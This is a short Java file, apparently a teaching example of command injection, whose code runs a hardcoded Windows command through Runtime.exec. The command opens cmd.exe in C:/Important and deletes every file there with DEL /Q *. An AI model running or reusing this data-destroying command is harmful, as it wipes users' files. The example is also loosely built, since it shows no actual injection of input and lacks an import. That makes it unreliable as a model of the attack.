Java command injection example

CommandInjectionExample.java

/*
* Assuming user has folder "Important" -> C:/Important
* The folder has confidential data
* In this example, we are trying to show the command injection attack
*/
public class CommandInjectionExample {
	public static void main(String[] args) {
		evalScript();
	}

	/*
	 * Executes a command
	 * You can replace this by taking input from user or from file 
	 */
	private static void evalScript() {
		String script = "cmd /c start cmd.exe /K \"cd c:/Important && dir && DEL /Q * && dir\"";
		if (script != null)
			try {
				Runtime.getRuntime().exec(script);
			} catch (IOException e) {
				e.printStackTrace();
			}
	}
}